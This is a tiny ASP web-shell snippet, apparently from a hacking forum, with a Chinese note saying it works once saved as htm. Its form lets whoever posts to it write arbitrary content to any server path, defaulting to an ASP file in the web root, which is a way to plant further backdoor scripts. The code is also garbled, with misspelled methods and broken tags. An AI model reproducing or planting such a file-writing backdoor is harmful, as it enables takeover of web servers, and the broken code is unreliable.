<%on error resume nextid=request("id")if request("id")=1 thentestfile=Request.form("name")msg=Request.form("message")set fs=server.CreatObject("scripting.filesystemobject")set thisfile=fs.openTestFile(testfile,8,True,0)thisfile.Writeline(""&msg&"")thisfile.closeset fs=nothing%><from method="post" Action="保存"?id=1><input type="text" size="20" name="Name"Value=<%=server.mappath("XP.ASP")%>><textarea name="Message" class=input></textarea><input type="Submit" name="send" Value="生成"class=input></from><%end if%>
另存为htm就可以了!

|